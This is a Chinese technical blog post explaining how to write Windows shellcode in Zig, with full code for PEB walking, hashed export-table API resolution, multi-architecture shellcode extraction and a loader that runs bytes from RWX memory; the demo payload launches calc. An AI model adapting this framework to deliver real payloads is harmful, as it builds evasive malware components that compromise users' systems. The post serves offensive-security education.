用zig编写Windows的shellcode
半块西瓜皮 发表于 陕西 技术文章 2027浏览 · 2024-07-24 10:26

Windows下shellcode的通用流程是

  1. 通过PEB遍历获取DLL模块的地址
  2. 搜索DLL模块的导出表获取需要的API
  3. 通过API实现特定的功能

早期很多教程借助汇编来实现,但现在几乎都是高级语言直接编写

比如最佳实践:donut,上述3个流程可以在以下代码中找到

https://github.com/TheWover/donut/blob/v1.0/loader/peb.c

C语言能写的,Zig也一定能写,本文使用zig版本0.11.0,将带你一条龙实现shellcode

准备工作

PEB

获取PEB

std.os.windows.peb()

结构体

一些常见的windows上的结构体都在 std.os.windows 中有声明,但缺失与shellcode相关的有两部分

一是PEB中的LDR_DATA_TABLE_ENTRY结构,二是PE格式相关的结构

代码见: https://github.com/howmp/zigshellcode/blob/main/src/win32.zig

PE中的地址转换

通过泛型根据返回值的类型自动转换,目前用到要么返回个指针,要么返回个usize

pub fn rva2va(comptime T: type, base: *const anyopaque, rva: usize) T {
    var ptr = @intFromPtr(base) + rva;
    return switch (@typeInfo(T)) {
        .Pointer => {
            return @as(T, @ptrFromInt(ptr));
        },
        .Int => {
            if (T != usize) {
                @compileError("expected usize, found '" ++ @typeName(T) ++ "'");
            }
            return @as(T, ptr);
        },
        else => {
            @compileError("expected pointer or int, found '" ++ @typeName(T) ++ "'");
        },
    };
}

hash算法

为了精简shellcode大小,在判断导出表函数名使用hash值比较

参考了java对String的hash算法

  1. 设置了一个初始值(iv)
  2. 计算时忽略大小写
inline fn hashApi(api: []const u8) u32 {
    var h: u32 = 0x6c6c6a62; // iv for api hash
    for (api) |item| {
        // 0x20 for lowercase
        h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0];
    }
    return h;
}

声明API原型

我们想要实现启动程序并退出的shellcode,需要WinExec和ExitProcess两个API

注意ok方法,它通过@typeInfo反射结构体成员,判断是否结构体中所有API指针均不为空

const apiAddr = struct {
    const Self = @This();
    WinExec: ?*const fn (
        lpCmdLine: [*c]u8,
        UINT: windows.UINT,
    ) callconv(windows.WINAPI) windows.UINT = null,

    ExitProcess: ?*const fn (
        nExitCode: windows.LONG,
    ) callconv(windows.WINAPI) void = null,
    fn ok(self: *Self) bool {
        inline for (@typeInfo(apiAddr).Struct.fields) |field| {
            if (@field(self, field.name) == null) {
                return false;
            }
        }
        return true;
    }
};

实现主要逻辑

通过PEB遍历获取DLL模块的地址

fn getApi(apis: *apiAddr) bool {
    var peb = std.os.windows.peb();
    var ldr = peb.Ldr;
    var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
    while (dte.DllBase != null) : ({
        dte = @ptrCast(dte.InLoadOrderLinks.Flink);
    }) {
        findApi(apis, dte.DllBase.?);
        if (apis.ok()) {
            return true;
        }
    }
    return false;
}

搜索DLL模块的导出表获取需要的API

这里有必要解释一下

  1. 通过@typeInfo反射遍历apiAddr结构所有成员信息
  2. comptime hashApi(field.name) 通过comptime关键字编译时计算apiAddr成员名称的hash
  3. 最后通过@field设置结构体成员的值

如果以后需要添加新的API,只需要在apiAddr结构中增加成员即可

fn findApi(r: *apiAddr, inst: windows.PVOID) void {
    var dos: *win32.IMAGE_DOS_HEADER = @ptrCast(@alignCast(inst));
    var nt = rva2va(*win32.IMAGE_NT_HEADERS, inst, @as(u32, @bitCast(dos.e_lfanew)));
    var rva = nt.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (rva == 0) {
        return;
    }
    var exp = rva2va(*win32.IMAGE_EXPORT_DIRECTORY, inst, rva);
    var cnt = exp.NumberOfNames;
    if (cnt == 0) {
        return;
    }
    var adr = rva2va([*c]u32, inst, exp.AddressOfFunctions);
    var sym = rva2va([*c]u32, inst, exp.AddressOfNames);
    var ord = rva2va([*c]u16, inst, exp.AddressOfNameOrdinals);
    var dll = sliceTo(rva2va([*c]u8, inst, exp.Name));
    std.log.debug("[i]{s}", .{dll});
    for (0..cnt) |i| {
        var sym_ = rva2va([*c]u8, inst, sym[i]);
        var adr_ = rva2va(usize, inst, adr[ord[i]]);
        var hash = hashApi(sliceTo(sym_));
        inline for (@typeInfo(apiAddr).Struct.fields) |field| {
            if (hash == comptime hashApi(field.name)) {
                @field(r, field.name) = @ptrFromInt(adr_);
                std.log.debug("[+]{s} at 0x{X}", .{ field.name, adr_ });
            }
        }
    }
}
inline fn sliceTo(buf: [*c]u8) []u8 {
    var len: usize = 0;
    while (buf[len] != 0) : ({
        len += 1;
    }) {}
    return buf[0..len];
}

通过API实现特定的功能

为了方便调试,我们声明了main函数用于生成测试的控制台程序

为了方便后续提取shellcode,我们导出了gogoEnd函数

pub fn main() void {
    go();
}

pub export fn go() void {
    var apis = apiAddr{};
    if (!getApi(&apis)) {
        std.log.debug("[-]api not found", .{});
        return;
    }
    std.log.debug("[+]find {d} api", .{@typeInfo(apiAddr).Struct.fields.len});
    var cmdline = "calc".*;
    _ = apis.WinExec.?(&cmdline, 0);
    apis.ExitProcess.?(0);
}

pub export fn goEnd() void {}

zig build编译程序,测试结果正常

构建提取shellcode

c语言使用Makefile,CMake,ninja等工具都可以构建

与c语言不同,zig统一通过build.zig中的zig代码来构建,自由度更高也更统一

另外由于zig使用llvm作为后端,所以支持windows的x86, x86_64, aarch64三种架构

构建测试程序

先修改成可以一次编译三种架构

const std = @import("std");
pub fn build(b: *std.Build) void {
    const optimize = b.standardOptimizeOption(.{});
    {
        inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
            const exe = b.addExecutable(.{
                .name = "test-" ++ t,
                .root_source_file = .{ .path = "src/main.zig" },
                .target = std.zig.CrossTarget.parse(.{ .arch_os_abi = t ++ "-windows-gnu" }) catch unreachable,
                .optimize = optimize,
            });
            b.installArtifact(exe);
        }
    }
}

再次执行zig build,可以看到同时生成了三种架构的测试程序

提取shellcode

build方法中添加如下代码

  1. 添加sc步骤,之后可以通过命令zig build sc来触发
  2. 同时生成三种架构的shellcode
  3. 使用ReleaseSmall来编译,生成更小的shellcode
const sc = b.step("sc", "Build ReleaseSmall shellcode");

    {
        inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
            const dll = b.addSharedLibrary(.{
                .name = "sc-" ++ arch,
                .root_source_file = .{ .path = "src/main.zig" },
                .target = std.zig.CrossTarget.parse(.{ .arch_os_abi = arch ++ "-windows-msvc" }) catch unreachable,
                .optimize = .ReleaseSmall,
            });
            const install = b.addInstallArtifact(dll, .{});
            const c = GenShellCode.create(b, install);
            sc.dependOn(&c.step);
        }
    }

实现GenShellCode,主要思路是

  1. 读取对应架构的DLL
  2. 解析DLL的导出表gogoEnd函数,提取shellcode
  3. 写出到对应sc文件

代码见: https://github.com/howmp/zigshellcode/blob/main/build.zig#L103

通过命令zig build sc生成shellcode,可以看到大小在300个字节左右

测试shellcode

在src目录新建一个loader.zig实现一个简单的shellcode加载和运行

const std = @import("std");
const os = std.os;
const fs = std.fs;
const path = fs.path;
const win = os.windows;

pub fn main() !void {
    const allocator = std.heap.page_allocator;
    var args = try std.process.argsAlloc(allocator);
    defer allocator.free(args);
    if (args.len == 1) {
        std.log.err("usage: {s} scpath", .{path.basename(args[0])});
        return;
    }
    var data = try fs.cwd().readFileAlloc(allocator, args[1], 1024 * 1024 * 1024);
    var ptr = try win.VirtualAlloc(
        null,
        data.len,
        win.MEM_COMMIT | win.MEM_RESERVE,
        win.PAGE_EXECUTE_READWRITE,
    );
    defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
    var buf: [*c]u8 = @ptrCast(ptr);
    @memcpy(buf[0..data.len], data);
    @as(*const fn () void, @ptrCast(@alignCast(ptr)))();
}

build.zig中添加loader步骤

const loader = b.step("loader", "Build ReleaseSmall loader");

    {
        inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
            const exe = b.addExecutable(.{
                .name = "loader-" ++ t,
                .root_source_file = .{ .path = "src/loader.zig" },
                .target = std.zig.CrossTarget.parse(.{ .arch_os_abi = t ++ "-windows-gnu" }) catch unreachable,
                .optimize = .ReleaseSmall,
            });
            loader.dependOn(&b.addInstallArtifact(exe, .{}).step);
        }
    }

通过命令zig build loader生成,测试shellcode是否正常

完整代码

https://github.com/howmp/zigshellcode

总结

用zig实现shellcode相对于c有以下优势

  1. 通过@typeInfo编译时反射,实现添加API声明后自动获取地址
  2. 通过comptime编译时关键字,实现自动生成API字符串hash
  3. 通过编写build.zig构建代码,实现自动提取x86, x86_64, aarch64三种架构shellcode
0 条评论
某人
表情
可输入 255